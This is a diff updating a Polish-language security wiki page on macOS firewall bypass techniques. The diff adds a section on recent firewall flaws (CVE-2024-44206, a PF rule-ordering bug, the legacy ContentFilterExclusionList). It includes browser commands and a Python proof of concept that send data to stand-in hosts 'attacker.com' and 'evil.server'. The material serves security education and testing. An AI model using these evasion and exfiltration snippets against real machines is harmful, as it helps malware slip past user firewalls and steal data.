diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 38e2f15bb..35b7b492a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -6,7 +6,7 @@ Poniższe techniki zostały znalezione jako działające w niektórych aplikacjach zapory macOS. -### Wykorzystywanie nazw na białej liście +### Wykorzystywanie nazw z białej listy - Na przykład wywołując złośliwe oprogramowanie nazwami dobrze znanych procesów macOS, takich jak **`launchd`** @@ -14,7 +14,7 @@ Poniższe techniki zostały znalezione jako działające w niektórych aplikacja - Jeśli zapora prosi użytkownika o pozwolenie, spraw, aby złośliwe oprogramowanie **kliknęło na zezwól** -### **Użyj podpisanych binarek Apple** +### **Użyj binarek podpisanych przez Apple** - Takich jak **`curl`**, ale także innych, jak **`whois`** @@ -28,13 +28,13 @@ Kilka pomysłów na próbę obejścia zapór ### Sprawdź dozwolony ruch -Znajomość dozwolonego ruchu pomoże zidentyfikować potencjalnie białe listy domen lub które aplikacje mają dostęp do nich. +Znajomość dozwolonego ruchu pomoże zidentyfikować potencjalnie dozwolone domeny lub które aplikacje mają do nich dostęp. ```bash lsof -i TCP -sTCP:ESTABLISHED ``` ### Wykorzystywanie DNS -Rozwiązywanie DNS odbywa się za pomocą **`mdnsreponder`** podpisanej aplikacji, która prawdopodobnie będzie miała pozwolenie na kontakt z serwerami DNS. +Rozwiązywanie DNS odbywa się za pomocą **`mdnsreponder`** podpisanej aplikacji, która prawdopodobnie ma pozwolenie na kontakt z serwerami DNS.
https://www.youtube.com/watch?v=UlT5KFTMn2k
@@ -61,7 +61,7 @@ firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` -### Poprzez wstrzykiwanie procesów +### Via processes injections Jeśli możesz **wstrzyknąć kod do procesu**, który ma prawo łączyć się z dowolnym serwerem, możesz obejść zabezpieczenia zapory: @@ -69,8 +69,60 @@ Jeśli możesz **wstrzyknąć kod do procesu**, który ma prawo łączyć się z macos-proces-abuse/ {{#endref}} +--- + +## Ostatnie luki w zabezpieczeniach zapory macOS (2023-2025) + +### Obejście filtra treści internetowej (Czas ekranowy) – **CVE-2024-44206** +W lipcu 2024 roku Apple naprawił krytyczny błąd w Safari/WebKit, który zepsuł systemowy „Filtr treści internetowej” używany przez kontrolę rodzicielską Czas ekranowy. +Specjalnie przygotowane URI (na przykład z podwójnym kodowaniem URL „://”) nie jest rozpoznawane przez ACL Czasu ekranowego, ale jest akceptowane przez WebKit, więc żądanie jest wysyłane bez filtracji. Każdy proces, który może otworzyć URL (w tym kod w piaskownicy lub niepodpisany), może zatem uzyskać dostęp do domen, które są wyraźnie zablokowane przez użytkownika lub profil MDM. + +Praktyczny test (system bez poprawek): +```bash +open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time +# if the patch is missing Safari will happily load the page +``` +### Błąd kolejności reguł filtrów pakietów (PF) w wczesnym macOS 14 “Sonoma” +Podczas cyklu beta macOS 14 Apple wprowadziło regresję w użytkowym opakowaniu wokół **`pfctl`**. Reguły, które zostały dodane z użyciem słowa kluczowego `quick` (używanego przez wiele przełączników kill-switch VPN), były cicho ignorowane, co powodowało wycieki ruchu, nawet gdy GUI VPN/firewall zgłaszało *zablokowane*. Błąd został potwierdzony przez kilku dostawców VPN i naprawiony w RC 2 (build 23A344). + +Szybkie sprawdzenie wycieku: +```bash +pfctl -sr | grep quick # rules are present… +sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface +``` +### Wykorzystywanie usług pomocniczych podpisanych przez Apple (legacy – przed macOS 11.2) +Przed macOS 11.2 **`ContentFilterExclusionList`** pozwalał na ~50 binarnych plików Apple, takich jak **`nsurlsessiond`** i App Store, na ominięcie wszystkich zapór filtrujących gniazda wdrożonych za pomocą frameworka Network Extension (LuLu, Little Snitch itp.). +Złośliwe oprogramowanie mogło po prostu uruchomić wykluczony proces—lub wstrzyknąć do niego kod—i tunelować swój własny ruch przez już dozwolone gniazdo. Apple całkowicie usunęło listę wykluczeń w macOS 11.2, ale technika ta jest nadal istotna w systemach, które nie mogą być zaktualizowane. + +Przykład dowodu koncepcji (przed 11.2): +```python +import subprocess, socket +# Launch excluded App Store helper (path collapsed for clarity) +subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store']) +# Connect through the inherited socket +s = socket.create_connection(("evil.server", 443)) +s.send(b"exfil...") +``` +--- + +## Wskazówki dotyczące narzędzi dla nowoczesnego macOS + +1. Sprawdź aktualne zasady PF, które generują zapory GUI: +```bash +sudo pfctl -a com.apple/250.ApplicationFirewall -sr +``` +2. Wymień binaria, które już mają uprawnienia *outgoing-network* (przydatne do podczepiania): +```bash +codesign -d --entitlements :- /path/to/bin 2>/dev/null \ +| plutil -extract com.apple.security.network.client xml1 -o - - +``` +3. Programowo zarejestruj własny filtr treści rozszerzenia sieciowego w Objective-C/Swift. +Minimalny rootless PoC, który przekazuje pakiety do lokalnego gniazda, jest dostępny w kodzie źródłowym **LuLu** Patricka Wardle’a. + ## Odniesienia - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) +- +- {{#include ../../banners/hacktricks-training.md}}